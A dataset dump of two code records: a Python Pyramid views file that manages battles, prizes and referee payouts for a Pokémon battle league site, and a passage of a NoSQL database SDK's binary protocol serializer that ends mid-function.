+{"seq_id":"5794436896","text":"import collections\nimport datetime\nimport itertools\nimport re\n\nimport pyramid.httpexceptions as httpexc\nfrom pyramid.view import view_config\nimport sqlalchemy as sqla\nimport wtforms\n\nfrom asb import db\nimport asb.forms\nfrom asb.resources import BattleIndex\nimport asb.tcodf\n\nlength_labels = collections.OrderedDict([\n ('full', 'It finished normally'),\n ('short', 'The battlers agreed to end it partway through'),\n ('dq', 'The loser was disqualified'),\n ('cancelled', 'It ended before anything happened')\n])\n\nclass BattleApproveForm(asb.forms.CSRFTokenForm):\n \"\"\"A form for letting a mod approve the prizes given out after a battle.\"\"\"\n\n action = wtforms.RadioField(\n 'You can either:',\n choices=[\n ('approve', 'Approve this battle, if everything looks right, or'),\n ('reopen', \"Reopen this battle, if it shouldn't have been closed.\")\n ],\n default='approve'\n )\n\n submit = wtforms.SubmitField('Go!')\n\nclass BattleClosePokemonForm(wtforms.Form):\n \"\"\"A subform for info about a particular Pokémon's participation in a\n battle.\n \"\"\"\n\n participated = wtforms.BooleanField()\n kos = wtforms.IntegerField(validators=[wtforms.validators.Optional()])\n\nclass BattleCloseForm(asb.forms.CSRFTokenForm):\n \"\"\"A form for closing a battle and distributing prizes.\n\n Use the battle_close_form method below to build one of these with choices\n for who_won and a subform for info about the Pokémon that participated.\n \"\"\"\n\n who_won = wtforms.RadioField('Who won?', [wtforms.validators.Required()],\n coerce=int)\n\n length = wtforms.RadioField(\n 'How did it end?',\n [wtforms.validators.Required()],\n choices=list(length_labels.items())\n )\n\n submit = wtforms.SubmitField('Close battle')\n\n def pokemon_by_squad(self):\n \"\"\"Return this battle's Pokémon, grouped by trainer, with their\n subforms.\n\n n.b. The squads are grouped with itertools.groupby, so remember that\n each squad becomes unavailable after you advance to the next.\n \"\"\"\n\n # self.pokemon is added by the battle_close_form method\n squads = zip(self.db_pokemon, self.pokemon)\n squads = itertools.groupby(squads, lambda squad: squad[0].trainer)\n return squads\n\ndef battle_close_form(battle, request):\n \"\"\"Set up the form as usual but also do some other stuff\"\"\"\n\n # Add Pokémon subform, with all its subsubforms\n battle_pokemon = [\n pokemon\n for team in battle.teams\n for trainer in team.trainers\n for pokemon in trainer.pokemon\n ]\n\n class PokemonForm(wtforms.Form):\n \"\"\"A subform to hold all the BattleClosePokemonForm sub-subforms.\"\"\"\n\n pass\n\n for pokemon in battle_pokemon:\n field = wtforms.FormField(BattleClosePokemonForm)\n setattr(PokemonForm, str(pokemon.id), field)\n\n class FullBattleCloseForm(BattleCloseForm):\n \"\"\"The full form, with Pokémon.\"\"\"\n\n db_pokemon = battle_pokemon\n pokemon = wtforms.FormField(PokemonForm)\n\n form = FullBattleCloseForm(request.POST, csrf_context=request.session)\n\n # Set choices for who_won\n form.who_won.choices = [\n (team.team_number, '/'.join(trainer.name for trainer in team.trainers))\n for team in battle.teams\n ]\n\n # XXX What about battles where some teams tie and some other teams lose\n form.who_won.choices.append((-1, 'It was a tie'))\n\n return form\n\nclass BattleEditRefForm(wtforms.Form):\n \"\"\"A single row for a ref in a BattleEditForm.\"\"\"\n\n ref = asb.forms.TrainerField()\n current = wtforms.BooleanField()\n emergency = wtforms.BooleanField()\n\n def validate_ref(form, field):\n \"\"\"Make sure we got a valid trainer.\"\"\"\n\n if field.data and field.trainer is None:\n raise wtforms.validators.ValidationError('Unknown trainer')\n\nclass BattleEditForm(asb.forms.CSRFTokenForm):\n \"\"\"An admin-only form for editing a battle.\"\"\"\n\n title = wtforms.TextField('Title')\n refs = wtforms.FieldList(\n wtforms.FormField(BattleEditRefForm, [wtforms.validators.Optional()]),\n )\n save = wtforms.SubmitField('Save')\n\n def set_refs(self, battle):\n \"\"\"Set data for the ref table based on the battle's current refs.\"\"\"\n\n for ref in battle.all_refs:\n print(self.refs.data)\n self.refs.append_entry({\n 'ref': ref.trainer.name,\n 'current': ref.is_current_ref,\n 'emergency': ref.is_emergency_ref\n })\n\n # Also add one blank row\n self.refs.append_entry()\n\nclass BattleLinkForm(asb.forms.CSRFTokenForm):\n \"\"\"A form for pasting a link to a battle's thread on the forums.\"\"\"\n\n link = wtforms.StringField('Link', [wtforms.validators.Required()])\n submit = wtforms.SubmitField('Go!')\n\n thread_id = None\n\n def validate_link(form, field):\n \"\"\"Parse the thread ID out of the link, and let WTForms turn any\n exception the thread_id function raises into a validation error.\n \"\"\"\n\n form.thread_id = asb.tcodf.thread_id(field.data)\n\nclass BattleTrainerField(wtforms.TextAreaField):\n \"\"\"A field for entering trainers who will participate in a battle.\"\"\"\n\n _teams = None\n\n def process_formdata(self, valuelist):\n \"\"\"Split the input into lists of names.\"\"\"\n\n # Split the text into teams, and each team into a list of names\n [teams] = valuelist\n\n teams = [\n team.splitlines() for team in\n re.split(\n '(?:\\r\\n|\\n){2,}', # 2+ newlines, i.e. one or more empty lines\n teams.strip()\n )\n ]\n\n # If there's only one list, then it's just every trainer for themself;\n # put each trainer on their own team\n if len(teams) == 1:\n teams = [[trainer] for trainer in teams[0]]\n\n self.data = teams\n\n def _value(self):\n \"\"\"Re-join all the lists of names into one string.\"\"\"\n\n if not self.data:\n return ''\n elif all(len(team) == 1 for team in self.data):\n return '\\n'.join(trainer for [trainer] in self.data)\n else:\n return '\\n\\n'.join('\\n'.join(team) for team in self.data)\n\n def pre_validate(self, form):\n \"\"\"Do some validation.\"\"\"\n\n # Make sure there are at least two trainers\n if len(self.data) == 1:\n self.errors.append('A battle has to involve at least two trainers')\n\n # Make sure nobody is listed more than once\n counts = collections.Counter(name for team in self.data\n for name in team)\n\n for name, count in counts.items():\n if count > 1:\n self.errors.append('{} is listed more than once'.format(name))\n\n # Make sure all these trainers exist\n try:\n teams = self.teams\n except KeyError as error:\n self.errors.append(\"Unknown trainer: {}\".format(*error.args))\n return\n\n # Make sure the ref isn't listed, and everyone has at least one Pokémon\n for team in teams:\n for trainer in team:\n if trainer == form._ref:\n self.errors.append(\"You can't battle if you're the ref!\")\n elif not trainer.squad:\n self.errors.append(\n '{} has no Pokémon in their active squad'\n .format(trainer.name)\n )\n\n @property\n def teams(self):\n \"\"\"Return all the DB records corresponding to the listed trainers,\n grouped into teams.\n \"\"\"\n\n if self._teams is not None:\n return self._teams\n\n # Turn the names into actual trainer objects\n names = [trainer.lower() for team in self.data for trainer in team]\n trainers = (\n db.DBSession.query(db.Trainer)\n .filter(sqla.func.lower(db.Trainer.name).in_(names),\n db.Trainer.is_active())\n .all()\n )\n trainers = {trainer.name.lower(): trainer for trainer in trainers}\n\n # Sort these trainer objects back into teams\n try:\n teams = [\n [trainers[name.lower()] for name in team]\n for team in self.data\n ]\n except KeyError:\n # Find ALL the problematic names. Kind of silly to go through\n # again but it's a lot shorter than doing both in one pass.\n raise KeyError(', '.join(\n name for team in self.data for name in team\n if name.lower() not in trainers\n ))\n\n self._teams = teams\n return teams\n\nclass NewBattleForm(asb.forms.CSRFTokenForm):\n \"\"\"A form for listing trainers for a new battle.\"\"\"\n\n trainers = BattleTrainerField()\n submit = wtforms.SubmitField('Submit')\n _ref = None\n\ndef format_outcome(battle):\n \"\"\"\n Return a tuple of the format (outcome, length) where outcome is a formatted\n description of who won Battle battle and length is a formatted description\n of how battle ended.\n \"\"\"\n\n winners = [team for team in battle.teams\n if team.outcome in ['win', 'draw']]\n\n if winners[0].outcome == 'win':\n team = ' and '.join(trainer.name for trainer in winners[0].trainers)\n outcome = '{} won.'.format(team)\n else:\n teams = ' and '.join(\n '/'.join(trainer.name for trainer in team.trainers)\n for team in winners\n )\n\n outcome = '{} tied.'.format(teams)\n\n return (outcome, length_labels[battle.length])\n\n\n@view_config(context=BattleIndex, renderer='/indices/battles.mako')\ndef battle_index(context, request):\n \"\"\"The index of all battles.\"\"\"\n\n battles = {'open': [], 'approval': [], 'closed': []}\n all_battles = db.DBSession.query(db.Battle).order_by(db.Battle.id).all()\n\n for battle in all_battles:\n if battle.end_date is None:\n battles['open'].append(battle)\n elif battle.needs_approval:\n battles['approval'].append(battle)\n elif battle.length != 'cancelled':\n battles['closed'].append(battle)\n\n return battles\n\n@view_config(context=db.Battle, renderer='/battle.mako', request_method='GET')\ndef battle(battle, request):\n \"\"\"A battle.\"\"\"\n\n if battle.end_date is not None:\n outcome, length = format_outcome(battle)\n else:\n outcome = None\n length = None\n\n return {\n 'battle': battle,\n 'team_battle': any(len(team.trainers) > 1 for team in battle.teams),\n 'link_form': BattleLinkForm(csrf_context=request.session),\n 'outcome': outcome,\n 'length': length\n }\n\n@view_config(context=db.Battle, renderer='/battle.mako', request_method='POST',\n permission='battle.link')\ndef battle_link(battle, request):\n \"\"\"Add a forum link to a battle.\"\"\"\n\n link_form = BattleLinkForm(request.POST, csrf_context=request.session)\n\n if not link_form.validate():\n return {\n 'battle': battle,\n 'team_battle': any(len(team.trainers) > 1 for team in\n battle.teams),\n 'link_form': link_form\n }\n\n battle.tcodf_thread_id = link_form.thread_id\n return httpexc.HTTPSeeOther(request.resource_path(battle))\n\n@view_config(context=db.Battle, name='edit', renderer='/edit_battle.mako',\n request_method='GET', permission='battle.edit')\ndef edit_battle(battle, request):\n \"\"\"A page for editing a battle.\"\"\"\n\n form = BattleEditForm(csrf_context=request.session)\n form.title.data = battle.name\n form.set_refs(battle)\n\n return {'form': form, 'battle': battle}\n\n@view_config(context=db.Battle, name='edit', renderer='/edit_battle.mako',\n request_method='POST', permission='battle.edit')\ndef edit_battle_process(battle, request):\n \"\"\"Process a request to edit a battle.\"\"\"\n\n form = BattleEditForm(request.POST, csrf_context=request.session)\n\n if not form.validate():\n return {'form': form, 'battle': battle}\n\n for ref in battle.all_refs:\n db.DBSession.delete(ref)\n\n for row in form.refs:\n if row.ref.trainer is not None:\n db.DBSession.add(db.BattleReferee(\n battle_id=battle.id,\n trainer_id=row.ref.trainer.id,\n is_current_ref=row.current.data,\n is_emergency_ref=row.emergency.data\n ))\n\n if form.title.data:\n battle.name = form.title.data\n battle.set_identifier()\n\n return httpexc.HTTPSeeOther(request.resource_path(battle))\n\n@view_config(context=db.Battle, name='close', renderer='/close_battle.mako',\n request_method='GET', permission='battle.close')\ndef close_battle(battle, request):\n \"\"\"A page for closing a battle and distributing prizes.\"\"\"\n\n return {\n 'battle': battle,\n 'team_battle': any(len(team.trainers) > 1 for team in battle.teams),\n 'form': battle_close_form(battle, request)\n }\n\n@view_config(context=db.Battle, name='close', renderer='/close_battle.mako',\n request_method='POST', permission='battle.close')\ndef close_battle_submit(battle, request):\n \"\"\"Figure out prizes upon closing a battle.\"\"\"\n\n form = battle_close_form(battle, request)\n\n if not form.validate():\n return {\n 'battle': battle,\n 'team_battle': any(len(team.trainers) > 1 for team in\n battle.teams),\n 'form': form\n }\n\n battle.end_date = datetime.datetime.utcnow().date()\n battle.length = form.length.data\n\n # Figure out who won\n if form.who_won.data == -1:\n for team in battle.teams:\n team.outcome = 'draw'\n else:\n for team in battle.teams:\n if team.team_number == form.who_won.data:\n team.outcome = 'win'\n else:\n team.outcome = 'loss'\n\n for (pokemon, subform) in zip(form.db_pokemon, form.pokemon):\n pokemon.participated = subform.participated.data\n pokemon.kos = subform.kos.data or 0\n\n # Figure out experience/happiness\n if not pokemon.participated:\n pokemon.experience_gained = 0\n pokemon.happiness_gained = 0\n else:\n pokemon.experience_gained = 1 + pokemon.kos\n pokemon.happiness_gained = 1 + pokemon.kos\n\n # Account for Lucky Egg/Soothe Bell\n if pokemon.item is None:\n pass\n elif pokemon.item.identifier == 'lucky-egg':\n pokemon.experience_gained += 1\n elif pokemon.item.identifier == 'soothe-bell':\n pokemon.happiness_gained += 1\n\n battle.needs_approval = True\n\n return httpexc.HTTPSeeOther(request.resource_path(battle))\n\n@view_config(context=db.Battle, name='approve', request_method='GET',\n renderer='/approve_battle.mako', permission='battle.approve')\ndef approve_battle(battle, request):\n \"\"\"A page for reviewing the prizes set to be given out for a closed battle,\n and approving them.\n \"\"\"\n\n outcome, length = format_outcome(battle)\n\n return {\n 'form': BattleApproveForm(csrf_context=request.session),\n 'battle': battle,\n 'outcome': outcome,\n 'length': length\n }\n\n@view_config(context=db.Battle, name='approve', request_method='POST',\n renderer='/approve_battle.mako', permission='battle.approve')\ndef approve_battle_submit(battle, request):\n \"\"\"Process a battle approval form and carry out the appropiate action.\"\"\"\n\n form = BattleApproveForm(request.POST, csrf_context=request.session)\n\n if not form.validate():\n return {'form': form, 'battle': battle}\n\n if form.action.data == 'approve':\n return approve_battle_finalize(battle, request)\n elif form.action.data == 'reopen':\n return reopen_battle(battle, request)\n\ndef approve_battle_finalize(battle, request):\n \"\"\"Distribute prizes and mark a battle as approved.\"\"\"\n\n if battle.length == 'cancelled':\n # No prizes if the battle never got anywhere\n battle.needs_approval = False\n return httpexc.HTTPSeeOther(request.resource_path(battle))\n\n # Count up how many Pokémon each team used\n pokemon_used = {team: 0 for team in battle.teams}\n\n for team in battle.teams:\n for trainer in team.trainers:\n for pokemon in trainer.pokemon:\n if pokemon.participated:\n pokemon_used[team] += 1\n\n # Apply experience/happiness gained\n if pokemon.pokemon is not None:\n pokemon.pokemon.experience += pokemon.experience_gained\n pokemon.pokemon.happiness += pokemon.happiness_gained\n\n # Dish out prize/ref money\n ref_money = 0\n\n for team in battle.teams:\n # Add up how many Pokémon were used *against* this team\n enemy_pokemon_count = sum(\n pokemon for (other_team, pokemon) in pokemon_used.items()\n if team != other_team\n )\n\n # Figure out what to multiply that by to determine prize money\n if team.outcome == 'win':\n prize_money = 8 * enemy_pokemon_count\n ref_money = 5 * enemy_pokemon_count\n elif team.outcome == 'draw':\n prize_money = 4 * enemy_pokemon_count\n ref_money = max(ref_money, 5 * enemy_pokemon_count)\n elif team.outcome == 'loss':\n if battle.length == 'dq':\n prize_money = 0\n else:\n prize_money = 4 * enemy_pokemon_count\n\n # Give that much money to each trainer on this team\n for battle_trainer in team.trainers:\n if not battle_trainer.trainer:\n continue\n\n battle_trainer.trainer.money += prize_money\n\n # Divide up ref money\n ref_money //= len(battle.all_refs)\n\n for ref in battle.all_refs:\n ref.trainer.money += ref_money\n\n battle.needs_approval = False\n\n return httpexc.HTTPSeeOther(request.resource_path(battle))\n\ndef reopen_battle(battle, request):\n \"\"\"Reopen a closed battle awaiting approval so that everything is as if it\n had never been closed.\n \"\"\"\n\n battle.needs_approval = False\n battle.end_date = None\n battle.length = None\n\n for team in battle.teams:\n team.outcome = None\n\n for trainer in team.trainers:\n for pokemon in trainer.pokemon:\n pokemon.experience_gained = None\n pokemon.happiness_gained = None\n pokemon.participated = False\n pokemon.kos = None\n\n return httpexc.HTTPSeeOther(request.resource_path(battle))\n\n@view_config(context=BattleIndex, name='new', renderer='/new_battle.mako',\n request_method='GET', permission='battle.open')\ndef new_battle(context, request):\n \"\"\"A page for creating a new battle.\"\"\"\n\n return {'form': NewBattleForm(csrf_context=request.session)}\n\n@view_config(context=BattleIndex, name='new', renderer='/new_battle.mako',\n request_method='POST', permission='battle.open')\ndef new_battle_process(context, request):\n \"\"\"Create a new battle.\"\"\"\n\n form = NewBattleForm(request.POST, csrf_context=request.session)\n form._ref = request.user\n\n if not form.validate():\n return {'form': form}\n\n # Create battle\n battle_id = db.DBSession.execute(db.Battle.battles_id_seq)\n battle = db.Battle(\n id=battle_id,\n name='temp-{}'.format(battle_id),\n identifier='temp-{}'.format(battle_id),\n start_date=datetime.datetime.utcnow().date()\n )\n\n db.DBSession.add(battle)\n\n # Add teams, trainers, and Pokémon\n for (number, team) in enumerate(form.trainers.teams, 1):\n battle_team = db.BattleTeam(battle_id=battle_id, team_number=number)\n db.DBSession.add(battle_team)\n\n for trainer in team:\n battle_trainer = db.BattleTrainer(\n battle_id=battle_id,\n trainer_id=trainer.id,\n name = trainer.name,\n team_number=number\n )\n\n db.DBSession.add(battle_trainer)\n db.DBSession.flush()\n\n for pokemon in trainer.squad:\n if pokemon.species.form_carries_into_battle:\n form_id = pokemon.pokemon_form_id\n else:\n form_id = pokemon.species.default_form.id\n\n battle_pokemon = db.BattlePokemon(\n pokemon_id=pokemon.id,\n battle_trainer_id=battle_trainer.id,\n name=pokemon.name,\n pokemon_form_id=form_id,\n gender_id=pokemon.gender_id,\n ability_slot=pokemon.ability_slot,\n item_id=None if pokemon.item is None else pokemon.item.id,\n is_shiny=pokemon.is_shiny,\n experience=pokemon.experience,\n happiness=pokemon.happiness\n )\n\n db.DBSession.add(battle_pokemon)\n\n # Add the ref\n battle_ref = db.BattleReferee(\n battle_id=battle_id,\n trainer_id=request.user.id\n )\n\n db.DBSession.add(battle_ref)\n\n battle.set_auto_name()\n db.DBSession.flush()\n\n return httpexc.HTTPSeeOther(request.resource_path(battle))\n","repo_name":"CatTrinket/tcod-asb","sub_path":"asb/views/battle.py","file_name":"battle.py","file_ext":"py","file_size_in_byte":21218,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"75144006971","text":"from collections import OrderedDict\nfrom datetime import datetime\nfrom decimal import (\n Context, Decimal, ROUND_05UP, ROUND_CEILING, ROUND_DOWN, ROUND_FLOOR,\n ROUND_HALF_DOWN, ROUND_HALF_EVEN, ROUND_HALF_UP, ROUND_UP)\n\nfrom .common import (\n CheckValue, Empty, IndexInfo, JsonNone, PreparedStatement,\n TableLimits, TableUsage, TimeUnit, Version)\nfrom .exception import IllegalStateException\nfrom .query import PlanIter, QueryDriver, TopologyInfo\nfrom .serdeutil import (SerdeUtil, RequestSerializer)\n\ntry:\n from . import operations\nexcept ImportError:\n import operations\n\nmath_name_to_value = {ROUND_UP: 0,\n ROUND_DOWN: 1,\n ROUND_CEILING: 2,\n ROUND_FLOOR: 3,\n ROUND_HALF_UP: 4,\n ROUND_HALF_DOWN: 5,\n ROUND_HALF_EVEN: 6,\n ROUND_05UP: 8}\nmath_value_to_name = {0: ROUND_UP,\n 1: ROUND_DOWN,\n 2: ROUND_CEILING,\n 3: ROUND_FLOOR,\n 4: ROUND_HALF_UP,\n 5: ROUND_HALF_DOWN,\n 6: ROUND_HALF_EVEN,\n 8: ROUND_05UP}\n\n\nclass BinaryProtocol(object):\n \"\"\"\n A base class for binary protocol serialization and constant protocol values.\n Constants are used instead of relying on ordering of values in enumerations\n or other derived protocol state.\n \"\"\"\n\n @staticmethod\n def deserialize_consumed_capacity(bis, result):\n result.set_read_units(SerdeUtil.read_packed_int(bis))\n result.set_read_kb(SerdeUtil.read_packed_int(bis))\n result.set_write_kb(SerdeUtil.read_packed_int(bis))\n\n @staticmethod\n def deserialize_system_result(bis):\n result = operations.SystemResult()\n result.set_state(SerdeUtil.get_operation_state(bis.read_byte()))\n result.set_operation_id(SerdeUtil.read_string(bis))\n result.set_statement(SerdeUtil.read_string(bis))\n result.set_result_string(SerdeUtil.read_string(bis))\n return result\n\n @staticmethod\n def deserialize_generated_value(bis, result):\n has_generated_value = bis.read_boolean()\n if not has_generated_value:\n return\n result.set_generated_value(SerdeUtil.convert_value_to_none(\n BinaryProtocol.read_field_value(bis)))\n\n @staticmethod\n def deserialize_table_result(bis, result, serial_version):\n has_info = bis.read_boolean()\n if has_info:\n result.set_compartment_id(SerdeUtil.read_string(bis))\n result.set_table_name(SerdeUtil.read_string(bis))\n result.set_state(\n SerdeUtil.get_table_state(bis.read_byte()))\n has_static_state = bis.read_boolean()\n if has_static_state:\n read_kb = SerdeUtil.read_packed_int(bis)\n write_kb = SerdeUtil.read_packed_int(bis)\n storage_gb = SerdeUtil.read_packed_int(bis)\n capacity_mode = SerdeUtil.CAPACITY_MODE.PROVISIONED\n if serial_version > 2:\n capacity_mode = bis.read_byte()\n # on-prem tables may return all 0 because of protocol\n # limitations that lump the schema with limits. Return None to\n # user for those cases.\n if not (read_kb == 0 and write_kb == 0 and storage_gb == 0):\n result.set_table_limits(\n TableLimits(read_kb, write_kb, storage_gb, capacity_mode))\n result.set_schema(SerdeUtil.read_string(bis))\n result.set_operation_id(SerdeUtil.read_string(bis))\n\n @staticmethod\n def deserialize_write_response(bis, result, serial_version):\n return_info = bis.read_boolean()\n if not return_info:\n return\n # Existing info always includes both value and version.\n result.set_existing_value(SerdeUtil.convert_value_to_none(\n BinaryProtocol.read_field_value(bis)))\n result.set_existing_version(BinaryProtocol.read_version(bis))\n if serial_version > 2:\n result.set_existing_modification_time(SerdeUtil.read_packed_long(bis))\n else:\n result.set_existing_modification_time(0)\n\n @staticmethod\n def read_dict(bis):\n # Read length.\n bis.read_int()\n size = bis.read_int()\n result = OrderedDict()\n count = 0\n while count < size:\n key = SerdeUtil.read_string(bis)\n value = BinaryProtocol.read_field_value(bis)\n result[key] = value\n count += 1\n return result\n\n @staticmethod\n def read_field_value(bis):\n # Deserialize a generic field value.\n t = bis.read_byte()\n if t == SerdeUtil.FIELD_VALUE_TYPE.ARRAY:\n return BinaryProtocol.read_list(bis)\n elif t == SerdeUtil.FIELD_VALUE_TYPE.BINARY:\n return SerdeUtil.read_bytearray(bis, False)\n elif t == SerdeUtil.FIELD_VALUE_TYPE.BOOLEAN:\n return bis.read_boolean()\n elif t == SerdeUtil.FIELD_VALUE_TYPE.DOUBLE:\n return bis.read_float()\n elif t == SerdeUtil.FIELD_VALUE_TYPE.EMPTY:\n return Empty()\n elif t == SerdeUtil.FIELD_VALUE_TYPE.INTEGER:\n return SerdeUtil.read_packed_int(bis)\n elif t == SerdeUtil.FIELD_VALUE_TYPE.JSON_NULL:\n return JsonNone()\n elif t == SerdeUtil.FIELD_VALUE_TYPE.LONG:\n return SerdeUtil.read_packed_long(bis)\n elif t == SerdeUtil.FIELD_VALUE_TYPE.MAP:\n return BinaryProtocol.read_dict(bis)\n elif t == SerdeUtil.FIELD_VALUE_TYPE.STRING:\n return SerdeUtil.read_string(bis)\n elif t == SerdeUtil.FIELD_VALUE_TYPE.TIMESTAMP:\n return SerdeUtil.read_datetime(bis)\n elif t == SerdeUtil.FIELD_VALUE_TYPE.NUMBER:\n return SerdeUtil.read_decimal(bis)\n elif t == SerdeUtil.FIELD_VALUE_TYPE.NULL:\n return None\n else:\n raise IllegalStateException('Unknown value type code: ' + str(t))\n\n @staticmethod\n def read_list(bis):\n # Read length.\n bis.read_int()\n length = bis.read_int()\n result = list()\n count = 0\n while count < length:\n result.append(BinaryProtocol.read_field_value(bis))\n count += 1\n return result\n\n @staticmethod\n def read_math_context(bis):\n code = bis.read_byte()\n if code == 0:\n return None\n elif code == 1:\n return Context(prec=7, rounding=ROUND_HALF_EVEN)\n elif code == 2:\n return Context(prec=16, rounding=ROUND_HALF_EVEN)\n elif code == 3:\n return Context(prec=34, rounding=ROUND_HALF_EVEN)\n elif code == 4:\n return Context(prec=0, rounding=ROUND_HALF_UP)\n elif code == 5:\n precision = bis.read_int()\n rounding_mode = math_value_to_name.get(bis.read_int())\n return Context(prec=precision, rounding=rounding_mode)\n else:\n raise IOError('Unknown MathContext code.')\n\n @staticmethod\n def read_topology_info(bis):\n seq_num = SerdeUtil.read_packed_int(bis)\n SerdeUtil.trace(\n 'read_topology_info: seq_num = ' + str(seq_num), 4)\n if seq_num < -1:\n raise IOError('Invalid topology sequence number: ' + str(seq_num))\n if seq_num == -1:\n # No topology info sent by proxy.\n return None\n shard_ids = SerdeUtil.read_packed_int_array(bis)\n return TopologyInfo(seq_num, shard_ids)\n\n @staticmethod\n def read_version(bis):\n return Version.create_version(SerdeUtil.read_bytearray(bis, False))\n\n # Writes fields from ReadRequest.\n @staticmethod\n def serialize_read_request(request, bos):\n BinaryProtocol.serialize_request(request, bos)\n SerdeUtil.write_string(bos, request.get_table_name())\n bos.write_byte(request.get_consistency())\n\n # Writes fields from WriteRequest\n @staticmethod\n def serialize_write_request(request, bos, serial_version):\n BinaryProtocol.serialize_request(request, bos)\n SerdeUtil.write_string(bos, request.get_table_name())\n bos.write_boolean(request.get_return_row())\n BinaryProtocol.write_durability(request, bos, serial_version)\n\n @staticmethod\n def serialize_request(request, bos):\n SerdeUtil.write_packed_int(bos, request.get_timeout())\n\n @staticmethod\n def write_durability(request, bos, serial_version):\n if serial_version < 3:\n return\n dur = request.get_durability()\n if dur is None:\n bos.write_byte(0)\n return\n val = dur.master_sync\n val |= (dur.replica_sync << 2)\n val |= (dur.replica_ack << 4)\n bos.write_byte(val)\n\n @staticmethod\n def write_dict(bos, value):\n # Serialize a dict.\n # Leave an integer-sized space for length.\n offset = bos.get_offset()\n bos.write_int(0)\n start = bos.get_offset()\n bos.write_int(len(value))\n for key in value:\n SerdeUtil.write_string(bos, key)\n BinaryProtocol.write_field_value(bos, value[key])\n # Update the length value.\n bos.write_int_at_offset(offset, bos.get_offset() - start)\n\n @staticmethod\n def write_field_range(bos, field_range):\n if field_range is None:\n bos.write_boolean(False)\n return\n bos.write_boolean(True)\n SerdeUtil.write_string(bos, field_range.get_field_path())\n if field_range.get_start() is not None:\n bos.write_boolean(True)\n BinaryProtocol.write_field_value(bos, field_range.get_start())\n bos.write_boolean(field_range.get_start_inclusive())\n else:\n bos.write_boolean(False)\n if field_range.get_end() is not None:\n bos.write_boolean(True)\n BinaryProtocol.write_field_value(bos, field_range.get_end())\n bos.write_boolean(field_range.get_end_inclusive())\n else:\n bos.write_boolean(False)\n\n @staticmethod\n def write_field_value(bos, value):\n # Serialize a generic field value.\n bos.write_byte(SerdeUtil.get_type(value))\n if value is not None:\n if isinstance(value, list):\n BinaryProtocol.write_list(bos, value)\n elif isinstance(value, bytearray):\n SerdeUtil.write_bytearray(bos, value)\n elif isinstance(value, bool):\n bos.write_boolean(value)\n elif isinstance(value, float):\n bos.write_float(value)\n elif CheckValue.is_int_value(value):\n SerdeUtil.write_packed_int(bos, value)\n elif CheckValue.is_long_value(value):\n SerdeUtil.write_packed_long(bos, value)\n elif isinstance(value, dict):\n BinaryProtocol.write_dict(bos, value)\n elif CheckValue.is_str(value):\n SerdeUtil.write_string(bos, value)\n elif isinstance(value, datetime):\n SerdeUtil.write_datetime(bos, value)\n elif isinstance(value, Decimal) or CheckValue.is_overlong(value):\n SerdeUtil.write_decimal(bos, value)\n else:\n raise IllegalStateException(\n 'Unknown value type ' + str(type(value)))\n\n @staticmethod\n def write_list(bos, value):\n # Serialize a list.\n # Leave an integer-sized space for length.\n offset = bos.get_offset()\n bos.write_int(0)\n start = bos.get_offset()\n bos.write_int(len(value))\n for item in value:\n BinaryProtocol.write_field_value(bos, item)\n # Update the length value.\n bos.write_int_at_offset(offset, bos.get_offset() - start)\n\n @staticmethod\n def write_math_context(bos, math_context):\n if math_context is None:\n bos.write_byte(0)\n else:\n bos.write_byte(5)\n bos.write_int(math_context.prec)\n bos.write_int(math_name_to_value.get(math_context.rounding))\n\n @staticmethod\n def write_op_code(bos, op):\n # Writes the opcode for the operation.\n bos.write_byte(op)\n\n @staticmethod\n def write_record(bos, record):\n \"\"\"\n Writes a dict.\n\n This is public to allow a caller to get the size of a value outside of\n the context of serialization.\n \"\"\"\n BinaryProtocol.write_field_value(bos, record)\n\n @staticmethod\n def write_ttl(bos, ttl):\n if ttl is None:\n SerdeUtil.write_packed_long(bos, -1)\n return\n SerdeUtil.write_packed_long(bos, ttl.get_value())\n if ttl.unit_is_days():\n bos.write_byte(TimeUnit.DAYS)\n elif ttl.unit_is_hours():\n bos.write_byte(TimeUnit.HOURS)\n else:\n raise IllegalStateException('Invalid TTL unit in ttl ' + str(ttl))\n\n @staticmethod\n def write_version(bos, version):\n CheckValue.check_not_none(version, 'array')\n SerdeUtil.write_bytearray(bos, version.get_bytes())\n\n\nclass DeleteRequestSerializer(RequestSerializer):\n \"\"\"\n The flag indicates if the serializer is used for a standalone request or a\n sub operation of WriteMultiple request.\n\n If it is used to serialize the sub operation, then some information like\n timeout, namespace and table_name will be skipped during serialization.\n \"\"\"\n\n def __init__(self, is_sub_request=False):\n self._is_sub_request = is_sub_request\n\n def serialize(self, request, bos, serial_version):\n match_version = request.get_match_version()\n op_code = (SerdeUtil.OP_CODE.DELETE if match_version is None else\n SerdeUtil.OP_CODE.DELETE_IF_VERSION)\n BinaryProtocol.write_op_code(bos, op_code)\n if self._is_sub_request:\n bos.write_boolean(request.get_return_row())\n else:\n BinaryProtocol.serialize_write_request(request, bos, serial_version)\n BinaryProtocol.write_field_value(bos, request.get_key())\n if match_version is not None:\n BinaryProtocol.write_version(bos, match_version)\n\n def deserialize(self, request, bis, serial_version):\n result = operations.DeleteResult()\n BinaryProtocol.deserialize_consumed_capacity(bis, result)\n result.set_success(bis.read_boolean())\n BinaryProtocol.deserialize_write_response(bis, result, serial_version)\n return result\n\n\nclass GetIndexesRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n BinaryProtocol.write_op_code(bos, SerdeUtil.OP_CODE.GET_INDEXES)\n BinaryProtocol.serialize_request(request, bos)\n SerdeUtil.write_string(bos, request.get_table_name())\n if request.get_index_name() is not None:\n bos.write_boolean(True)\n SerdeUtil.write_string(bos, request.get_index_name())\n else:\n bos.write_boolean(False)\n\n def deserialize(self, request, bis, serial_version):\n result = operations.GetIndexesResult()\n num_indexes = SerdeUtil.read_packed_int(bis)\n indexes = list()\n count = 0\n while count < num_indexes:\n indexes.append(self._deserialize_index_info(bis))\n count += 1\n result.set_indexes(indexes)\n return result\n\n @staticmethod\n def _deserialize_index_info(bis):\n index_name = SerdeUtil.read_string(bis)\n num_fields = SerdeUtil.read_packed_int(bis)\n field_names = list()\n count = 0\n while count < num_fields:\n field_names.append(SerdeUtil.read_string(bis))\n count += 1\n return IndexInfo(index_name, field_names)\n\n\nclass GetRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n BinaryProtocol.write_op_code(bos, SerdeUtil.OP_CODE.GET)\n BinaryProtocol.serialize_read_request(request, bos)\n BinaryProtocol.write_field_value(bos, request.get_key())\n\n def deserialize(self, request, bis, serial_version):\n result = operations.GetResult()\n 